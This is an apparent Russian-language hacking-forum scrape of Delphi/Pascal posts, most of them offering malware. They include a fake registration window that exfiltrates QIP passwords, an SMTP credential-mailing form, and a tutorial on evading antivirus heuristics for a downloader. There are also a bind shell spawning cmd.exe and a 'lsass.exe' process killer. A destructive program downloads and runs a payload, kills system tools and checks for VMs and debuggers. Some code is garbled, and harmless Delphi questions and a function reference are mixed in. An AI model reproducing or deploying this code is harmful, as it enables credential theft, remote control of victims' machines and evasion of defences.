в Windows XP SP2 для атаки на удалённый компьютер, что вызывает глобальную ошибку системного модуля и приводит
к перезагрузке..." Итак, сказано - сделано... Только вот программу мы писать не будет... Мы напишем лишь окошко
бесплатной регистрации... Выглядеть оно будет вот-так:


А в чём тогда фишка, спросишь ты?... А весь секрет в поле ID... Дело в том, что во многих процедурах регистрации
такое поле используется для привязки к железу... мы используем его немного для других целей... Мы не будем
приклеивать к проге никаких троянов, мы не будем ни просить, ни требовать пароли, пользователь отправит их нам
сам... Точнее он отправит нам содержимое поля ID... Мысль понятна?... Поле ID будет содержать зашифрованную
информацию, сгенерированную на основе выдернутых откуда-нибудь паролей... Например, в исходнике, который приложен
к статье, в поле ID будут содержатться зашифрованные пароли от QIP... Итак, часть 1 готова... Но это ещё не всё...
Теперь нужно создать php-скрипт, куда пользователь будет вписывать ID в ожидании ключа, и который в свою очередь будет
отправлять Имя, ID и IP пользователя нам на мыло... или записывать в файл.... Скрипт к сожаленью к статье не приложен,
так как в ПХП я достаточно слаб... но думаю, ты и сам сможешь написать подобный скрипт, а лучше если кто-то напишет и
выложит здесь, я и остальные будем очень благодарны ))
Но это тоже ещё не всё... Мы получили ID, теперь нам надо превратить его в долгожданные пароли, то есть
расшифровать... Для этого мы напишем декриптор, котрорый будет всё это дело расшифровывать... Выглядеть это будет так:


Сорцы его также приложены к статье...
Ну, вот вобщем-то и всё... Удачного улова... Только не пытайтесь использовать исходники из статьи прямо не изменяя, они
написанны "на скорю руку" лишь для примера, если нужно что-то посерьёзнее, стучитесь в асю 87-555-3...

Исходники: http://amper-dl.by.ru/files/paper3.zip
Пароль на архив: www.xss.is/

Все исходники и материалы приведены лишь для ознакомления, автор не несёт никакой ответственности за их использование..

З.Ы.
Кстати, никому не нужна прога, которая перезагружает удалённую машину? )))

© Amper

-----------------------------------

Borland творит чудеса - вышела новая версия шедевра "Borland Developer Studio 2006" выгодня отличается от несколько глюченной Delphi 2005...
Оболденные возможности быстрой разработки приложений под любые платфоры и на широком выборе языка ( Delphi - C++ - Java - .net ...)

P.S. Советую сбегать в магазин...

привет всем!
В этом году я закончил изучение Borlond Pascal 7.0, но одну тему не успели разобрать Массивы. Пожалуйстап помогите объяснить эту тему, чтобы дальше не напрягаться!
Заранее спасибо!

Delphi и Pascal - это два связанных языка программирования, но существуют различия между ними.

Основное отличие между Delphi и Pascal заключается в том, что Delphi - это интегрированная среда разработки (IDE), а Pascal - это язык программирования. Delphi - это усовершенствованная версия Pascal, которая включает в себя множество расширенных функций и библиотек.

Одним из преимуществ Delphi является возможность разработки приложений с графическим интерфейсом пользователя, таких как программы для Windows. В Delphi также имеется широкий выбор готовых компонентов, которые упрощают создание приложений и позволяют быстрее разрабатывать софт. Кроме того, Delphi имеет мощные инструменты для работы с базами данных и компоненты для создания многопоточных приложений.

С другой стороны, Pascal более простой язык, который можно быстро освоить, благодаря его простоте и чистоте. В Pascal нет такого количества расширенных функций и библиотек, как в Delphi, но это не мешает ему быть хорошим выбором для учебных целей, а также для написания небольших программ или скриптов.

Одним из недостатков Delphi является то, что это коммерческое программное обеспечение и требует покупки лицензии. Кроме того, Delphi может быть сложным для новичков, особенно если они не имеют опыта работы с интегрированными средами разработки.

В целом, выбор между Delphi и Pascal зависит от конкретных потребностей и целей программиста. Если вы ищете простой язык для обучения программированию или для написания небольших программ, то Pascal может быть лучшим выбором. Если вам нужно создавать крупные приложения с графическим интерфейсом, работать с базами данных или разрабатывать многопоточные приложения, то Delphi будет лучшим выбором.

Всем привет, изучаю FreePascal, очень нужны исходники программ для изучения, подойдет все что есть, малвари, парсеры, брутфорсы, и т.д.
Очень буду благодарен за предоставленные исходники!

Писал давным давно - завалялось - мб кому то пригодиться .

Code:Copy to clipboard

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdComponent, IdTCPConnection, IdTCPClient,
  IdMessageClient, IdSMTP, IdBaseComponent, IdMessage, XPMan,
  IdExplicitTLSClientServerBase, IdSMTPBase,IdAttachmentFile;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    Edit2: TEdit;
    IdMessage1: TIdMessage;
    IdSMTP1: TIdSMTP;
    Label1: TLabel;
    Label2: TLabel;
    XPManifest1: TXPManifest;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var strlist:TStringList;
begin
//Копироваем Нужные Данные
if (edit1.text='')and(edit2.text='')then
messagedlg('Error',mterror,[mbok],0)
else
begin
strlist:=TStringlist.Create;
strlist.Add('Число:'+DateToStr(Now));
strlist.Add('Время:'+TimeToStr(Now));
strlist.add(edit1.Text);
strlist.Add(edit2.text);
strlist.SaveToFile('d:\File.txt');
strlist.Free;

//Подключаемся К серверу Почты
Idsmtp1.authType:=satDefault;
Idsmtp1.Host:='smtp.yandex.ru';
Idsmtp1.Username:='от кого';
Idsmtp1.Password:='пароль';
Idsmtp1.Port:=25;
Idsmtp1.HeloName:='имя';
Idsmtp1.Connect();

//Отправляем Нужные Данные
Idmessage1:=TIdMessage.Create(nil);
Idmessage1.Body.Text:='FAIL';
Idmessage1.Subject:='OK';
Idmessage1.From.Address:='от кого';
Idmessage1.From.Name:='Apple';
Idmessage1.Recipients.EMailAddresses:='кому';
If fileexists('d:\File.txt')then
TIdAttachmentfile.create(Idmessage1.MessageParts,'d:\File.txt');
Idsmtp1.Connected;
Idsmtp1.Send(Idmessage1);
showmessage('Отправлено!!!');
Idsmtp1.Disconnect;
end;

end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Messagedlg('Автор',mtinformation,[mbok],0);

end;

end.

Насколько я знаю, в Delphi память под указатели выделается через New и освобождается через Dispose.
Опытным путём я пришёл к выводу што присвоение указателю NIL эквивалентно высвобождению памяти (по кр. мере Dispose такого указателя вызывает ошибку).
Меня интересует, если создать указатель 2 на указатель 1, то при высвобождении указателя 2 будет высвобожден он сам, указатель 1, данные, на которые ссылается указатель 1 или всё сразу. При таком построении создаётся копия данных указателя 1, копия указателя 1 или указатель на указатель.
Обязательно ли корректное высвобождение памяти перед завершением программы или это делаеццо автоматически.

Выложите пожалуйста пример использования службы BITS на Delphi для загрузки файлов.
Также, интересует насколько данный метод актуален при обходе фаерволов на данный момент.

Обхождение эвристического анализа антивирусов. В настоящее время, большинство АВ программ используют включённую функцию эвристики, что позволяет определять подозрительный код и API, которые в основном используются вирусами, программами удалённого администрирования и другим вредоносным ПО. Её цель - определять вирус без добавления его сигнатур. Это позволяет обнаружить вирус до того, как он станет известен. В этой статье я попытаюсь рассказать, как обойти эвристический анализ.

Как мы можем это сделать?
Я использую пример Lord'а, мы напишем простой веб-загрузчик который использует широко распространённую API "URLDownLoadToFile". Эта API определяется эвристическим анализом как подозрительный код.

Delphi-код:

Code:Copy to clipboard

CODEprogram Project2;

{$APPTYPE CONSOLE}

uses
URLMon,windows,
ShellApi,
SysUtils;

begin
UrlDownloadToFile(nil, PChar('http://fahde.free.fr/bug/rel/ICrypt%201.0.rar'), PChar('C:\ICrypt.rar'), 0, nil);
ShellExecute(0,'open',PChar('C:\ICrypt.rar'),nil,nil,SW_SHOW);

end.

После того, как вы скомпилируете код, попробуйте просканировать его антивируом. VirusTotal даёт следующий результат:

Ikarus: Remote Administration Tool-Downloader.Win32.Banload.BQ
Bit defender: BehavesLike:Remote Administration Tool.Downloader
NOD32: NewHeur_PE probably unknown virus

Что ж, для нас это не очень хорошо. Теперь новичок спросил бы себя, как же они смогли определить мой собственный самописный веб-загрузчик?? Ведь я его даже в Интернет не выкладывал.

Эвристический анализ не рассматривает URLDownLoadToFile API как угрозу, если она не совмещена с ShellExecute. Объясняю: когда нашеприложение хочет вызвать функцию URLDownLoadToFile, оно не вызывает его напрямую из .dll-файла, который содержит функцию (urlmon.dll), вместо этого оно вызывает её из памяти. Но exe- файл/dll-файл не знает, например, где в памяти расположен ShellExecute API, следовательно, он использует IAT "Importation Adress Table" (таблицу импорта адресов). IAT знает, где в памяти расположен API, так что наше приложение получает доступ к API через IAT.

Теперь, когда мы знаем, как работает эвристик, пришло время обойти его. Все API, которые использует наше приложение, прописаны в IAT, антивирус сканирует IAT и если наша API там, он обнаруживает её.
Для того, чтобы заставить нашу API не появляться в IAT, мы используем две других API, которые не подозреваются антивирусами. LoadLibrary и GetProcAdress, эти две API с помощью небольшого количества кода динамически загрузят urlmon.dll, который содержит функцию URLDownLoadToFile. Теперь нам не нужно спрашивать IAT о местонахождении наших API, потому что мы загружаем их напрямую.

Время переписать код:

Code:Copy to clipboard

program Project2;

{$APPTYPE CONSOLE}
// By BuGGz : www.instinct-coders.tz4.com 
uses
windows,messages,dialogs,
ShellApi,
SysUtils;

type
//мы объявляем функцию с корректными параметрами, чтобы мы смогли управлять ей позже.
TMyProc = function(Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD;LPBINDSTATUSCALLBACK: pointer): HResult; stdcall;
//функция для расшифровывания.
function Decrypt(Str : String; Key: string): String;
var
  Y, Z : Integer;
  B : Byte;
begin
  Z := 1;
  for Y := 1 to Length(Str) do
  begin
    B := (ord(Str[Y]) and $0f) xor (ord(Key[Z]) and $0f);
     B := b xor 10;
    Str[Y] := char((ord(Str[Y]) and $f0) + B);
    Inc(Z);
    If Z > length(Key) then Z := 1;
  end;
  Result := Str;
end;



var
Handle: THandle;
Maproc: TMyProc;
crypte,decrypte : string;
begin
Decrypte := Decrypt(']ZDLgfdgil\gNadmI' ,'2'); 
showmessage(Decrypte);  //чтобы убедиться, что окончательный результат будет положительным
Handle := loadlibrary('Urlmon.dll'); //загружаем DLL

if Handle <> 0 then

begin

try

//Расшифровать, потом динамически запустить функцию из DLL
@Maproc := GetProcAddress(Handle, pchar(Decrypt(']ZDLgfdgil\gNadmI' ,'2')));

if @Maproc<> nil then

begin
Maproc(nil,'http://fahde.free.fr/bug/rel/ICrypt%201.0.rar','C:\ICrypt.rar',0, nil); //Это функция загрузки, переименованная в Maproc для избежания обнаружения
ShellExecute(Handle,'open',PChar('C:\ICrypt.rar'),nil,nil,SW_SHOW); 
end;

Finally

FreeLibrary(Handle); //Освобождаем DLL-файл после использования

end;
end

end.

Проверка после компиляции:

Ikarus: No virus found in memory
Bit defender: No virus found in memory
NOD32 : No virus found in memory

Sans Rancune AVs .

Благодарности:
Всю благодарность выражаю Lord'у, так как я просто перевёл его код в Delphi.

Перевод на русский сделал Ma-stiff.
оригинальную статью с исходниками берём здесь.
а вот с чего перевродили..

Такой вопрос... Не могу никак догнать, как сделать так, что бы зашифрованная функция исполнялась...
Ситуация такая... Есть функция в открытом виде... Шифруем её ну скажем функцией StrToCript пох с каким алгоритмом, есть обратная функция расшифровки....CriptToStr... Так вот... как сделать что бы ну скажем написанная отдельно функция исполняла зашифрованную.... не могу никак догнать...
Покажите на простейшем примере ShowMessage('Iap..');
Среда разработки Delphi

Привет всем...
я как-то уже писал про killtask, по для её работы нужно подключать SysUtils и tlhelp32

на этом примере я покажу как можно избавиться от лишних 8ми - 10ти кб, которые иногда бывают очень некстати методом экспортирования нужних функций из SysUtils... (позже покажу как отвязаться от tlhelp32), ну а щаз читайте... (среда Delphi)

Code:Copy to clipboard

(* project abc aka lsass.exe
author:  demien
relise: 2009, v0.2
selfsize : 15 kb (after rebuildPE)
after pack winUpack 0.39b final size 7.05 kb
....
in next version i'll show u how make
killtask procedure without
tlhelp32 (it's make our exe file much
bigger size), we import all
used const's, var's and functions
to this module, and our exe's size will be
increased and smaller that now =)
protected by demien (c) 2008 aka Int64h *)

program lsass.exe;

uses
  windows, enc, tlhelp32;

{$R lsass.exe.res}
type
TMbcsByteType = (mbSingleByte, mbLeadByte, mbTrailByte);
(*$EXTERNALSYM LeadBytes*)
(*$HPPEMIT 'namespace Sysutils {'*)
(*$HPPEMIT 'extern PACKAGE System::Set<Byte, 0, 255>  LeadBytes;'*)
(*$HPPEMIT '} // namespace Sysutils'*)

TSysLocale = packed record
    DefaultLCID: Integer;
    PriLangID: Integer;
    SubLangID: Integer;
    FarEast: Boolean;
    MiddleEast: Boolean;
end;

const
  PathDelim  = {$IFDEF MSWINDOWS} '\'; {$ELSE} '/'; {$ENDIF}
  DriveDelim = {$IFDEF MSWINDOWS} ':'; {$ELSE} '';  {$ENDIF}

 var
  SysLocale: TSysLocale;
  LeadBytes: set of Char = [];

function ByteTypeTest(P: PChar; Index: Integer): TMbcsByteType;
var
  I: Integer;
begin
  Result := mbSingleByte;
  if (P = nil) or (P[Index] = #$0) then Exit;
  if (Index = 0) then
  begin
    if P[0] in LeadBytes then Result := mbLeadByte;
  end
  else
  begin
    I := Index - 1;
    while (I >= 0) and (P[I] in LeadBytes) do Dec(I);
    if ((Index - I) mod 2) = 0 then Result := mbTrailByte
    else if P[Index] in LeadBytes then Result := mbLeadByte;
  end;
end;

function ByteType(const S: string; Index: Integer): TMbcsByteType;
begin
  Result := mbSingleByte;
  if SysLocale.FarEast then
    Result := ByteTypeTest(PChar(S), Index-1);
end;

function StrScan(const Str: PChar; Chr: Char): PChar;
begin
  Result := Str;
  while Result^ <> Chr do
  begin
    if Result^ = #0 then
    begin
      Result := nil;
      Exit;
    end;
    Inc(Result);
  end;
end;

function UpperCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'a') and (Ch <= 'z') then Dec(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;

function LastDelimiter(const Delimiters, S: string): Integer;
var
  P: PChar;
begin
  Result := Length(S);
  P := PChar(Delimiters);
  while Result > 0 do
  begin
    if (S[Result] <> #0) and (StrScan(P, S[Result]) <> nil) then
{$IFDEF MSWINDOWS}
      if (ByteType(S, Result) = mbTrailByte) then
        Dec(Result)
      else
        Exit;
{$ENDIF}
    Dec(Result);
  end;
end;

function ExtractFileName(const FileName: string): string;
var
  I: Integer;
begin
  I := LastDelimiter(PathDelim + DriveDelim, FileName);
  Result := Copy(FileName, I + 1, MaxInt);
end;

function fuck(ExeFileName: string): integer;
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot
                    (TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
                                FProcessEntry32);
        while integer(ContinueLoop) <> 0 do
    begin
       if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
            UpperCase(ExeFileName))
        or (UpperCase(FProcessEntry32.szExeFile) =
            UpperCase(ExeFileName))) then
         Result := Integer(TerminateProcess(OpenProcess(
                           PROCESS_TERMINATE, BOOL(0),
                           FProcessEntry32.th32ProcessID), 0));
       ContinueLoop := Process32Next(FSnapshotHandle,
                                     FProcessEntry32);
    end;
    CloseHandle(FSnapshotHandle);
end;

  (*                meandyou^._.^meandyou                  *)
begin
 messagebox(0, pchar(decrypt('s`kr*n}(uojt ph}"iex/x{c''njlesiqj*xfy`irq#Spt]vhf|!-j''afm`bf*b#=?=0')), 'protbydemien', 0);
 messagebox(0, pchar(decrypt('igu!s`z(cuoo{bz,drj/zajk%ae)a}ajok/7!')), pchar(decrypt('wzmuol{hl&e|#dljago')), 0);
 messagebox(0, pchar(decrypt('sz{!~`/{acp%pt{nfer*`i-|nnv#p{ho"hd/khjs`bfr):!')), pchar(decrypt('wzmuol{hl&e|#dljago')), 0);
 fuck(Decrypt('bprme}j&c`')); //explorer.exe
end.

by demien © - 2009. 4148888[1]8
спасибо за чтение....

Язык Delphi7
Ос XP
Как заблокировать выполнение каких либо действий при нажатие комбинаций клавишь (Ctrl+Alt+Del, Alt+F4, Alt+Tab), проще говоря чтоб они не пахали...
И убрать кнопочку пуск....???

такс... воть он шел... вообще он Ms-rem'овский впринципе соурс в паблике давно на момент публикации был FUD ) щаз хз) да в принципе и проверять то не охота... это так... для наглядности ) В КОДЕ присутствуют ошибки... они банальны и исправить их не составит большого турда...

1. demshell

program demshell;

uses
windows,
WinSock;

function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g, dwFlags: dword): integer;stdcall; external 'ws2_32.dll';

const
fuckedMS = 'demshell on #$## prt. by demien. 4[1]48888[1]8';

var
ASDJKASDHJKASHDUASYDUIAY: TStartupInfo;
ERWRYRQWYETNMSADNMASBDSD: TWSAData;
NASDJHASBDSAGDGASDGASJGA: TProcessInformation;
UWYEUIYUIQBEASBDNMBASNMD: integer;
JAKSDEGQWUGEGSAHGDHASGDW: TSockAddrIn;
TQWEYTQWEQWDASBDASYDTWQE: dword;

begin
WSAStartup($101, ERWRYRQWYETNMSADNMASBDSD);
UWYEUIYUIQBEASBDNMBASNMD := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
JAKSDEGQWUGEGSAHGDHASGDW.sin_family := AF_INET;
JAKSDEGQWUGEGSAHGDHASGDW.sin_port := htons(##$#);
bind(UWYEUIYUIQBEASBDNMBASNMD, JAKSDEGQWUGEGSAHGDHASGDW, 16);
listen(UWYEUIYUIQBEASBDNMBASNMD, 0);
while true do
begin
TQWEYTQWEQWDASBDASYDTWQE := accept(UWYEUIYUIQBEASBDNMBASNMD, nil, nil);
ASDJKASDHJKASHDUASYDUIAY.cb := SizeOf(TStartupInfo);
ASDJKASDHJKASHDUASYDUIAY.wShowWindow := SW_SPOILER;
ASDJKASDHJKASHDUASYDUIAY.dwFlags := 0101;
ASDJKASDHJKASHDUASYDUIAY.hStdError := TQWEYTQWEQWDASBDASYDTWQE;
ASDJKASDHJKASHDUASYDUIAY.hStdInput := TQWEYTQWEQWDASBDASYDTWQE;
ASDJKASDHJKASHDUASYDUIAY.hStdOutput := TQWEYTQWEQWDASBDASYDTWQE;
CreateProcess(nil, ('c'+'m'+'d'+'.'+'exe'), nil, nil, true, 0, nil, nil, ASDJKASDHJKASHDUASYDUIAY, NASDJHASBDSAGDGASDGASJGA);
end;
end.

Click to expand...

теперь небольшой зло-код ил зло-прога
2. факер инт64аш

program fuckerbyINT64h;

{
prog : fuckerByInt64h
relese ver : 0.1a =)
414[8888]18
}

uses
Windows,
Tlhelp32,
SysUtils,
urlmon,
enc;

var Wp:string;

tYPE
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array [0..1] of Word);
2: (Bytes: array [0..3] of Byte);
end;

function URLDownloadToFile(Caller: cardinal; URL: PChar; FileName: PChar;Reserved: LongWord; StatusCB: cardinal):Longword; stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';

function DownloadFile(SourceFile, DestFile: string): Boolean;
begin
try
Result := UrlDownloadToFile(0, PChar(SourceFile), PChar(DestFile), 0, 0) = 0;
except
Result := False;
end;
end;

function KillTask(ExeFileName: string): integer;
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;

FSnapshotHandle := CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
FProcessEntry32);

while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName))
or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(OpenProcess(
PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle,
FProcessEntry32);
end;

CloseHandle(FSnapshotHandle);
end;

function running_inside_vpc: boolean; assembler;
asm
push ebp

mov ecx, offset @@@@_exception_handler
mov ebp, esp

push ebx
push ecx
push dword ptr fs:[0]
mov dword ptr fs:[0], esp

mov ebx, 0
mov eax, 1

db 00Fh, 03Fh, 007h, 00Bh

mov eax, dword ptr ss:[esp]
mov dword ptr fs:[0], eax
add esp, 8

test ebx, ebx
setz al
lea esp, dword ptr ss:[ebp-4]
mov ebx, dword ptr ss:[esp]
mov ebp, dword ptr ss:[esp+4]
add esp, 8
jmp @@ret
@@exception_handler:
mov ecx, [esp+0Ch]
mov dword ptr [ecx+0A4h], -1
add dword ptr [ecx+0B8h], 4
xor eax, eax
ret
@@ret:
end;

function IsVMwarePresent(): LongBool; stdcall;
begin
Result := False;
{$IFDEF CPU386}
try
asm
mov eax, 564D5868h
mov ebx, 00000000h
mov ecx, 0000000Ah
mov edx, 00005658h
in eax, dx
cmp ebx, 564D5868h
jne @@@@_exit
mov Result, True
@@exit:
end;
except
Result := False;
end;
{$ENDIF}
end;

function DebuggerPresent: boolean;
type
TDebugProc = function: boolean; stdcall;
var
Kernel32: HMODULE;
DebugProc: TDebugProc;
begin
Result := False;
Kernel32 := GetModuleHandle(pchar(Decrypt('lmpooc<?&bki'))); //kernel32.dll
if Kernel32 <> 0 then
begin
@DebugProc := GetProcAddress(Kernel32, 'N{FdhzhjmtWwfsli|'); //IsDebuggerPresent
if Assigned(DebugProc) then
Result := DebugProc;
end;
end;

function IsSoftIceNTLoaded: boolean;
var
hFile: Thandle;
begin
result := falser;
hFileL := CreateFileA(pchar(Decrypt('[&LUCLJ')), GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if (hFile <> INVALID_HANDLE_VALUE) then
begin
CloseHandle(hFileL);
result := TRUE;
end;
end;

procedure SpeakerBeep( Freq: Word; Duration: DWORD );
begin
if Freq < 18 then Exit;
Freq := 1193181 div Freq;
if Freq = 0 then Exit;
asm
mov al,0b6H
out 43H,al
mov ax,Freq
out 42h,al
xchg al, ah
out 42h,al
in al,61H
or al,03H
out 61H,al
end;
Sleep(Duration);
asm
in @_al,61H
and al,0fcH
out 61H,al
end;
end;

procedure beeper;
begin
SpeakerBeep(500,150);
sleep(300);
SpeakerBeep(150,350);
sleep(100);
SpeakerBeep(500,150);
sleep(300);
SpeakerBeep(150,350);
sleep(88);
SpeakerBeep(300,350);
sleep(88);
SpeakerBeep(300,350);
sleep(88);
SpeakerBeep(300,150);
sleep(300);
SpeakerBeep(10,650);
sleep(300);
end;

function WinDir: string;
var
WinDir: PChar;
begin
WinDir := StrAlloc(MAX_PATH);
GetWindowsDirectory(WinDir, MAX_PATH);
Result := string(WinDir);
if Result[Length(Result)] <> '' then
Result := Result + '';
StrDispose(WinDir);
end;

var
linka: string;
begin
begin
linka := pchar(Descrypt('o|vq0SStgsuvjtlm}qubj}h&ehh_vu}q/owj')); DownloadAllFile(linka, Pchar(Windir + decrypt('[{{r~jb>:Zrvfriav28!jum')));
end;
begin
killtask(decrypt('petxj!hpc')); //wmvare.exe killtask(decrypt('siqjgh}#m~b')); //taskmgr.exe killtask(decrypt('bprme}j&c')); //explorer.exe
killtask(decrypt('umednf{#m~b')); //regedit.exe
beeper();
wp := windir + Decrypt('web\exclam.gif');
//меняем валлпэпер в ХП )
SystemParametersInfo (SPI_SETDESKWALLPAPER, 0, PChar(wp), SPIF_SENDCHANGE);
if IsIsVMwarePresent = true then begin killtask(pchar(extractfilename(paramstr(0))));
if Rrunning_inside_vpc = true then begin killtask(pchar(extractfilename(paramstr(0))));
if DebuggerIsPresent = true then begin killtask(pchar(extractfilename(paramstr(0))));
if IfIsSoftIceNTLoaded = true then begin killtask(pchar(extractfilename(paramstr(0))));

WinExec(Pchar(Windir + decrypt('[{{r~jb>:Zrvfr`iav28!jum')),0); //\system32\userinit32.exe
end;
end.

Click to expand...

кому не понятны те или инные ф-ции, можете смело спрашивать дам подробный коммент...

далее шелл.ехе сжал upx3.xx,

(by demien (2008) &copy 4148888_1_8

думаю на этих примерах можно сконструировать что нибудь свое, среда паскаль....

Название: captcha_dec.rar
Размер: 60.99 кб
Ссылка для скачивания файла:

Название: captcha_decrypt.rar
Размер: 86.25 кб
Ссылка для скачивания файла:

Добрый день всем!
У меня вопрос по Delphi
Вопрос:
Как мне сделать так чтобы в компонент Image загрузилась картинка с фтп?

вот... мутка такая...

есть сторонний софт и в нем есть много конфигов...
тоесть в программе пользователь выбирает конфиг 5 например и программа обрабатывает файл например
C:\5.cfg

тоесть разные типо настройки в разных конфигах...

вот сижу и думаю.... как узнать что он использует именно этот конфиг.. из своей проги конечно...

мысль пока о поиске открытых файлах и хендлов в определенном целевом процесе...

но осилить такое я кнешно не могу... нашел примеры которые все открытые файлы у всех процесов выводят...
http://forum.sources.ru/index.php?showtopi...0&#entry1242689
но он работает блин ооочень медленно пока все переберет и тд...

может кто нить поделиться кодом как это сделать мне ??...

крайне надо .... какой день уже туплю..=((

Системные

Code:Copy to clipboard

Assigned    Осуществляет проверку функциональности указателей, объектов, методов
BeginThread    Начинает отдельный поток выполнения кода
Bounds    Передаёт координаты вершин объекта типа TRect (прямоугольник)

DupeString    Создает строку, содержащую копии подстроки
EncodeDate    Формирует значение TDateTime из значений года, месяца и дня
EncodeDateTime    Формирует значение TDateTime из значений времени и дня
EncodeTime    Формирует значение TDateTime из значений часа, минуты, секунды и миллисеккунды
EndOfADay    Генерирует значение TDateTime, установленное на самый конец дня
DateUtils    EndOfAMonth    Генерация значения TDateTime, установленное на самый конец месяца
System    Eof    Возвращает true, если позиция курсора находится в конце файла открытого с помощью Reset
System    Eoln    Возвращает true, если позиция курсора находится в конце строки
System    Exp    Выдаёт экспоненту числа
SysUtils    ExtractFileDir    Иизвлекает из полного имени файла название папки
SysUtils    ExtractFileDrive    Извлекает из полного имени файла название диска
SysUtils    ExtractFileExt    Извлекает из полного имени файла его расширение
SysUtils    ExtractFileName    Извлекает из полного имени файла краткое имя файла
SysUtils    ExtractFilePath    Извлекает из полного имени файла название патча
StdConvs    FahrenheitToCelsius    Конвертирует температуру из Фаренгейта в Цельсий
SysUtils    FileAge    Получение датя/время последнего изменения файла, не открывая его
SysUtils    FileDateToDateTime    Конвертирует формат даты/времени файла в значение TDateTime
SysUtils    FileExists    Возвращает True если указанный файл существует
SysUtils    FileGetAttr    Выдаёт атрибуты файла
System    FilePos
SysUtils    FileSearch    Поиск файла в одной или более папках
SysUtils    FileSetAttr    Устанавливает атрибуты файла
System    FileSetDate    Установка даты и времени последнего изменения файла
System    FileSize    Выдает размер открытого файла в записях
SysUtils    FindClose    Закрывает успешный FindFirst поиск файла
SysUtils    FindCmdLineSwitch    Определяет, был передан некоторый параметр выключатель
SysUtils    FindFirst    Находит все файлы, соответствующие маске файла и атрибутов
SysUtils    FindNext    Находит следующий файл после успешного FindFirst
SysUtils    FloatToStr    Преобразует значение с плавающей запятой в строку
SysUtils    FloatToStrF    Преобразует значение с плавающей запятой в строку с форматированием
SysUtils    ForceDirectories    Создаёт новый путь каталогов
SysUtils    Format    Богатое форматирование чисел и текста в строке
SysUtils    FormatCurr    Богатое форматирование значений валюты в строку
SysUtils    FormatDateTime    Богатое форматирование переменной TDateTime в строку
SysUtils    FormatFloat    Богатое форматирование числа с плавающей запятой в строку
System    Frac    Дробная часть числа с плавающей запятой
SysUtils    GetCurrentDir    Возвращает текущий каталог (диск плюс каталог)
System    GetLastError    Выдаёт код ошибки последнего неудачного Windows API вызова.
System    GetMem    Получает указанное число байтов памяти.
System    Hi    Возвращает байт старшего разряда от типа Integer.
System    High    Возвращает самое высокое значение типа или переменной
DateUtils    IncDay    Приращивает переменную типа TDateTime на + или - число дней
DateUtils    IncMillisecond    Приращивает переменную типа TDateTime на + или - число миллисекунд
DateUtils    IncMinute    Приращивает переменную типа TDateTime на + или - число минут.
SysUtils    IncMonth    Увеличивает TDateTime переменную на некоторое число месяцев
DateUtils    IncSecond    Приращивает переменную типа TDateTime на + или - число секунд
DateUtils    IncYear    Увеличивает TDateTime переменную на количество лет
Dialogs    InputBox    Отображает диалог, который просит пользователя о вводе текста, со значением по умолчанию
Dialogs    InputQuery    Отображает диалог, который просит пользователя о вводе текста
System    Int    Целая часть числа с плавающей точкой
SysUtils    IntToHex    Преобразует целое число в шестнадцатеричную строку
SysUtils    IntToStr    Конвертирует целое число в строку
System    IOResult    Содержит возвращаемый код последней операции ввода/вывода
Math    IsInfinite    Проверяет, является ли число с плавающей запятой бесконечным
SysUtils    IsLeapYear    Возвращает True, если данный календарный год високосный
System    IsMultiThread    Возвращает True, если код выполняет множество потоков
Math    IsNaN    Выясняет, содержит ли число с плавающей запятой настоящее число
SysUtils    LastDelimiter    Находит последнюю позицию указанных символов в строке
System    Length    Возвращает число элементов в массиве или строке
System    Ln    Выдает натуральный логарифм числа
System    Lo    Возвращает младший байт целого числа (2-байтового)
Math    Log10    Вычисляет логарифм числа с основанием 10
System    Low    Возвращает самое низкое значение типа или переменной
SysUtils    LowerCase    Изменяет символы верхнего регистра в строке в строчные буквы
Math    Max    Выдает максимальное число из двух целых значений
Math    Mean    Выдает среднее число из набора чисел
Dialogs    MessageDlg    Отображает сообщение, знак и выбираемые кнопки
Dialogs    MessageDlgPos    Отображает сообщение и кнопки в заданной позиции экрана
Math    Min    Выдает минимальное из двух целых значений
DateUtils    MonthOfTheYear    Выдает месяц года для значения TDateTime
SysUtils    Now    Выдает текущую дату и время
System    Odd    Провеяет, является ли целое число нечетным
System    Ord    Порядковое значение целого числа, символа или перечисления
System    ParamCount    Выдает число параметров переданной текущей программе
